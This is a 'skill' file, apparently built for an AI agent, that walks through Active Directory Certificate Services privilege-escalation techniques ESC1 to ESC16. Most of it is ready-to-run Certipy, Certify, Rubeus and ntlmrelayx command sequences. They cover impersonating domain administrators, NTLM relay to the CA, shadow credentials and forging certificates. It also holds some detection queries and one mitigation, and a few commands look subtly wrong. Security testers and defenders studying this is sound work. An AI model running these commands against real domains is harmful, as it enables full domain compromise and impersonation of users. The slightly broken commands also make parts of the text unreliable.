Hacktricks-skills adcs-domain-escalation
Active Directory Certificate Services (AD CS) domain escalation techniques. Use this skill whenever the user mentions AD CS, certificate templates, ESC vulnerabilities, PKI misconfigurations, certificate-based authentication attacks, or wants to enumerate/exploit certificate authority weaknesses in Active Directory environments. This covers ESC1-ESC16 techniques including misconfigured templates, enrollment agent abuse, access control issues, NTLM relay to AD CS, and certificate mapping vulnerabilities.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation/SKILL.MDAD CS Domain Escalation Techniques
This skill covers Active Directory Certificate Services (AD CS) privilege escalation techniques (ESC1-ESC16) for security assessments and penetration testing.
Prerequisites & Tools
Required Tools
- Certipy (Python):
pip install certipy - Certify (C#): GhostPack/Certify
- Rubeus (C#): GhostPack/Rubeus
- PSPKI (PowerShell): For CA management
Basic Enumeration
# Find vulnerable templates and CAs certipy find -username user@domain.local -password Pass -dc-ip 10.0.0.100 certify.exe find /vulnerable certify.exe find /showAllPermissions # List CAs and their properties certipy ca -username user@domain.local -password Pass -target-ip ca.domain.local -ca 'CA-NAME'
ESC1: Misconfigured Certificate Templates (Enrollee Supplies Subject)
Vulnerability
Templates allow low-privileged users to request certificates with arbitrary Subject Alternative Names (SAN), enabling impersonation of any domain principal.
Requirements
- Enrollment rights granted to low-privileged users
- No manager approval required
- No authorized signatures needed
- EKU includes Client Authentication, PKINIT, Smart Card Logon, Any Purpose, or no EKU
flag enabledCT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
Detection
# Certipy certipy find -username user@domain.local -password Pass -dc-ip 10.0.0.100 # Certify certify.exe find /vulnerable # LDAP query (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
Exploitation
# Request certificate with target SAN certipy req -username user@domain.local -password Pass -ca 'CA-NAME' -target ca.domain.local -template 'VulnTemplate' -upn 'administrator@domain.local' # With SID pinning (post-2022) certipy req -username user@domain.local -password Pass -ca 'CA-NAME' -target ca.domain.local -template 'VulnTemplate' -upn 'administrator' -sid 'S-1-5-21-...-500' # Certify equivalent certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator@domain.local # Authenticate with certificate certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'domain.local' -dc-ip 10.0.0.100 rubeus.exe asktgt /user:domain /certificate:administrator.pfx /ptt
ESC2: Any Purpose EKU or No EKU
Vulnerability
Templates with Any Purpose EKU (OID 2.5.29.37.0) or no EKU can be used for any purpose, including authentication.
Detection
# LDAP query for ESC2 templates (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
Exploitation
Same as ESC1 - request certificate and use for authentication.
ESC3: Enrollment Agent Template Abuse
Vulnerability
Certificate Request Agent EKU (OID 1.3.6.1.4.1.311.20.2.1) allows enrolling certificates on behalf of other users.
Requirements
- Enrollment agent template accessible to low-privileged users
- Target template allows "enroll on behalf of"
- CA does not restrict enrollment agents (default setting)
Exploitation
# Step 1: Request enrollment agent certificate certipy req -username user@domain.local -password Pass -ca 'CA-NAME' -target ca.domain.local -template 'EnrollmentAgent' # Step 2: Request certificate on behalf of target certipy req -username user@domain.local -password Pass -ca 'CA-NAME' -target ca.domain.local -template 'User' -on-behalf-of 'domain\administrator' -pfx 'agent.pfx' # Certify equivalent certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:User /onbehalfof:DOMAIN\administrator /enrollment:agent.pfx /enrollcertpwd:password # Authenticate certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'domain.local'
ESC4: Vulnerable Certificate Template Access Control
Vulnerability
Users with write permissions on certificate templates can modify them to create ESC1 vulnerabilities.
Permissions to Check
- Owner
- FullControl
- WriteOwner
- WriteDacl
- WriteProperty
Detection
certify.exe find /showAllPermissions certify.exe pkiobjects /domain:domain.local /showAdmins
Exploitation
# Modify template to be vulnerable (saves old config) certipy template -username user@domain.local -password Pass -template 'TargetTemplate' -save-old # Exploit the modified template certipy req -username user@domain.local -password Pass -ca 'CA-NAME' -target ca.domain.local -template 'TargetTemplate' -upn 'administrator@domain.local' # Restore original configuration certipy template -username user@domain.local -password Pass -template 'TargetTemplate' -configuration 'TargetTemplate.json'
Shadow Credentials (Related)
# If you have AddKeyCredentialLink on a computer account certipy shadow auto 'domain.local/user:Pass@dc.domain.local' -account 'targetcomputer'
ESC5: Vulnerable PKI Object Access Control
Vulnerability
Excessive permissions on PKI objects beyond templates (CA server object, containers, NTAuthCertificates).
Objects to Check
- CA server computer object
CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local- Certificate Templates container
- Certification Authorities container
- NTAuthCertificates object
- Enrollment Services Container
Detection
certify.exe pkiobjects /domain:domain.local /showAdmins
ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2 Flag
Vulnerability
CA flag allows user-defined SAN values in any template request, including standard User template.
Detection
# Check EditFlags registry value certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags" # Or via remote registry reg.exe query \\CA_SERVER\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\CA_NAME\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags # Certipy/Certify detection certipy find -username user@domain.local -password Pass -dc-ip 10.0.0.100 certify.exe find
Exploitation
# Request certificate with arbitrary SAN certipy req -username user@domain.local -password Pass -ca 'CA-NAME' -target ca.domain.local -template 'User' -upn 'administrator@domain.local' certify.exe request /ca:dc.domain.local\CA-NAME /template:User /altname:administrator
Mitigation
# Disable the flag (requires domain admin) certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
Note: Post-May 2022 updates add SID security extension. ESC6 requires ESC10 (Weak Certificate Mappings) to be effective.
ESC7: Vulnerable Certificate Authority Access Control
Attack 1: ManageCA/ManageCertificates Rights
ManageCA
- Can modify CA settings remotely
- Can enable
(ESC6)EDITF_ATTRIBUTESUBJECTALTNAME2 - Can restart CA service
ManageCertificates
- Can approve pending certificate requests
- Can issue failed requests
Detection
# PSPKI module Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
Exploitation
# Request certificate requiring approval certify.exe request /ca:dc.domain.local\CA-NAME /template:ApprovalNeeded # Approve via PSPKI Import-Module PSPKI Get-CertificationAuthority -ComputerName dc.domain.local | Get-PendingRequest -RequestID 123 | Approve-CertificateRequest # Download certificate certify.exe download /ca:dc.domain.local\CA-NAME /id:123
Attack 2: SubCA Template Abuse
# Add yourself as officer certipy ca -ca 'CA-NAME' -add-officer username -username user@domain.local -password Pass # Enable SubCA template certipy ca -ca 'CA-NAME' -enable-template SubCA -username user@domain.local -password Pass # Request SubCA certificate (will fail but saves private key) certipy req -username user@domain.local -password Pass -ca 'CA-NAME' -target ca.domain.local -template SubCA -upn 'administrator@domain.local' # Note the Request ID and save the private key # Issue the failed request certipy ca -ca 'CA-NAME' -issue-request 123 -username user@domain.local -password Pass # Retrieve the certificate certipy req -username user@domain.local -password Pass -ca 'CA-NAME' -target ca.domain.local -retrieve 123
Attack 3: SetExtension Abuse (Manage Certificates Only)
# Submit pending request certify.exe request --ca SERVER\CA-NAME --template SecureUser --subject "CN=User" --manager-approval # Append custom extension certify.exe manage-ca --ca SERVER\CA-NAME --request-id 123 --set-extension "1.1.1.1=DER,10,01 01 00 00" # Issue and download certify.exe request-download --ca SERVER\CA-NAME --id 123
ESC8: NTLM Relay to AD CS HTTP Endpoints
Vulnerability
HTTP-based enrollment endpoints vulnerable to NTLM relay attacks.
Detection
# Find HTTP endpoints certify.exe cas # Via certutil certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA # Via PSPKI Import-Module PSPKI Get-CertificationAuthority | select Name,Enroll* | Format-List *
Exploitation
# Certipy relay certipy relay -ca ca.domain.local -template User # With PetitPotam for authentication coercion certipy relay -ca ca.domain.local -coerce # Impacket ntlmrelayx proxychains ntlmrelayx.py -t http://<CA_IP>/certsrv/certfnsh.asp -smb2support --adcs --no-http-server
ESC9: No Security Extension (CT_FLAG_NO_SECURITY_EXTENSION)
Vulnerability
Template flag prevents SID security extension embedding, enabling UPN-based impersonation.
Requirements
= 1 (default)StrongCertificateBindingEnforcement- Template has
flagCT_FLAG_NO_SECURITY_EXTENSION - Client authentication EKU present
- GenericWrite on victim account
Exploitation
# Step 1: Get victim hash via Shadow Credentials certipy shadow auto -username attacker@domain.local -password Pass -account victim # Step 2: Modify victim UPN to target certipy account update -username attacker@domain.local -password Pass -user victim -upn Administrator # Step 3: Request certificate as victim certipy req -username victim@domain.local -hashes <hash> -ca 'CA-NAME' -template 'ESC9-Template' # Step 4: Restore victim UPN certipy account update -username attacker@domain.local -password Pass -user victim -upn victim@domain.local # Step 5: Authenticate as target certipy auth -pfx administrator.pfx -domain domain.local
ESC10: Weak Certificate Mappings
Vulnerability
Domain controller registry settings allow certificate-based authentication without proper SID binding.
Registry Keys
(default 0x18, previously 0x1F)CertificateMappingMethods
(default 1, previously 0)StrongCertificateBindingEnforcement
Case 1: StrongCertificateBindingEnforcement = 0
Same exploitation as ESC9 - any template works.
Case 2: CertificateMappingMethods includes UPN bit (0x4)
# Target account without UPN (e.g., machine account) certipy shadow auto -username attacker@domain.local -password Pass -account victim certipy account update -username attacker@domain.local -password Pass -user victim -upn 'DC$@domain.local' certipy req -ca 'CA-NAME' -username victim@domain.local -hashes <hash> certipy account update -username attacker@domain.local -password Pass -user victim -upn 'victim@domain.local' # Authenticate via LDAP shell certipy auth -pfx dc.pfx -dc-ip 10.0.0.100 -ldap-shell
ESC11: Relaying NTLM to ICPR (RPC)
Vulnerability
CA not configured with
IF_ENFORCEENCRYPTICERTREQUEST allows NTLM relay via RPC.
Detection
certipy find -username user@domain.local -password Pass -dc-ip 10.0.0.100 -stdout # Look for "Enforce Encryption for Requests: Disabled"
Exploitation
# Certipy certipy relay -target 'rpc://DC01.domain.local' -ca 'CA-NAME' -dc-ip 10.0.0.100 # Impacket tlmrelayx.py -t rpc://10.0.0.100 -rpc-mode ICPR -icpr-ca-name CA-NAME -smb2support
ESC12: Shell Access to ADCS CA with YubiHSM
Vulnerability
CA private key stored on YubiHSM with cleartext authentication key in registry.
Exploitation
# Import CA certificate certutil -addstore -user my <CA_certificate_file> # Associate with YubiHSM private key certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA_Common_Name> # Sign arbitrary certificate certutil -sign <request_file> <output_file>
ESC13: OID Group Link Abuse
Vulnerability
OID objects link certificates to AD groups via
msDS-OIDToGroupLink.
Detection
# Check-ADCSESC13.ps1 script # Or manually check OID objects in: # CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local
Exploitation
# Request certificate from template with OID group link certipy req -username user@domain.local -password Pass -dc-ip 10.0.0.100 -target 'CA.domain.local' -ca 'CA-NAME' -template 'VulnerableTemplate' # Certificate grants group membership implicitly
ESC14: Vulnerable Certificate Renewal Configuration
Vulnerability
Weak
altSecurityIdentities mappings allow certificate-based impersonation.
Weak Mapping Examples
(common CN only)X509:<S>CN=SomeUser
(generic DN)X509:<I>CN=SomeInternalCA<S>CN=GenericUser
(email-based)X509:<RFC822>EmailAddress
Exploitation Scenarios
Scenario A: Write to altSecurityIdentities
# Request certificate certify.exe request /ca:CA-NAME /template:Machine /machine # Convert to PFX certutil -MergePFX certificate.pem certificate.pfx # Authenticate certify.exe asktgt /user:target /certificate:certificate.pfx /nowrap
Scenario B: Weak X509RFC822 Mapping
- Set victim's mail attribute to match target's mapping
- Enroll certificate as victim
- Authenticate as target
ESC15: EKUwu Application Policies (CVE-2024-49019)
Vulnerability
V1 templates allow injection of application policies overriding template EKU.
Detection
certipy find -username user@domain.local -password Pass -dc-ip 10.0.0.100 # Look for V1 templates with "Enrollee supplies subject"
Exploitation
# Direct impersonation via Schannel certipy req -u 'attacker@domain.local' -p 'Pass' -dc-ip '10.0.0.100' -target 'CA.domain.local' -ca 'CA-NAME' -template 'WebServer' -upn 'administrator@domain.local' -sid 'S-1-5-21-...-500' -application-policies 'Client Authentication' # Authenticate certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell # Via Enrollment Agent abuse certipy req -u 'attacker@domain.local' -p 'Pass' -dc-ip '10.0.0.100' -target 'CA.domain.local' -ca 'CA-NAME' -template 'WebServer' -application-policies 'Certificate Request Agent' certipy req -u 'attacker@domain.local' -p 'Pass' -dc-ip '10.0.0.100' -target 'CA.domain.local' -ca 'CA-NAME' -template 'User' -pfx 'attacker.pfx' -on-behalf-of 'DOMAIN\Administrator'
ESC16: Security Extension Disabled on CA (Globally)
Vulnerability
CA configured to omit SID security extension from all certificates.
Detection
certipy find -username user@domain.local -password Pass -dc-ip 10.0.0.100 -stdout -vulnerable
Exploitation
# Step 1: Read victim UPN (for restoration) certipy account -u 'attacker@domain.local' -p 'Pass' -dc-ip '10.0.0.100' -user 'victim' read # Step 2: Update victim UPN to target sAMAccountName certipy account -u 'attacker@domain.local' -p 'Pass' -dc-ip '10.0.0.100' -upn 'administrator' -user 'victim' update # Step 3: Get victim credentials (Shadow Credentials) certipy shadow -u 'attacker@domain.local' -p 'Pass' -dc-ip '10.0.0.100' -account 'victim' auto # Step 4: Request certificate (any client auth template) export KRB5CCNAME=victim.ccache certipy req -k -dc-ip '10.0.0.100' -target 'CA.domain.local' -ca 'CA-NAME' -template 'User' # Step 5: Restore victim UPN certipy account -u 'attacker@domain.local' -p 'Pass' -dc-ip '10.0.0.100' -upn 'victim@domain.local' -user 'victim' update # Step 6: Authenticate as target certipy auth -dc-ip '10.0.0.100' -pfx 'administrator.pfx' -username 'administrator' -domain 'domain.local'
Cross-Forest Considerations
Breaking Forest Trusts
- Root CA from resource forest published to account forests
- Enterprise CA certificates in
and AIA containersNTAuthCertificates - Compromised CA can forge certificates for all forests
Foreign Principal Enrollment
- Templates allowing
enrollment accessible across trustsAuthenticated Users - Explicit enrollment rights to foreign principals create cross-forest attack paths
Quick Reference
| ESC | Vulnerability | Key Tool | Primary Command |
|---|---|---|---|
| 1 | Enrollee supplies subject | certipy | |
| 2 | Any Purpose EKU | certipy | Same as ESC1 |
| 3 | Enrollment Agent | certipy | |
| 4 | Template write access | certipy | |
| 5 | PKI object ACLs | certify | |
| 6 | EDITF flag | certipy | |
| 7 | CA management rights | certipy | |
| 8 | NTLM relay HTTP | certipy | |
| 9 | No security extension | certipy | |
| 10 | Weak mappings | certipy | Same as ESC9 |
| 11 | NTLM relay RPC | certipy | |
| 12 | YubiHSM access | certutil | |
| 13 | OID group links | certipy | |
| 14 | altSecurityIdentities | certify | Various scenarios |
| 15 | EKUwu (CVE-2024-49019) | certipy | |
| 16 | Global security extension | certipy | Same as ESC9 |
References
- Certipy Wiki - Privilege Escalation
- Certify 2.0 - SpecterOps
- Certified Pre-Owned - SpecterOps
- GhostPack/Certify
- GhostPack/Rubeus
Legal Notice: These techniques are for authorized security assessments only. Always obtain proper authorization before testing AD CS configurations.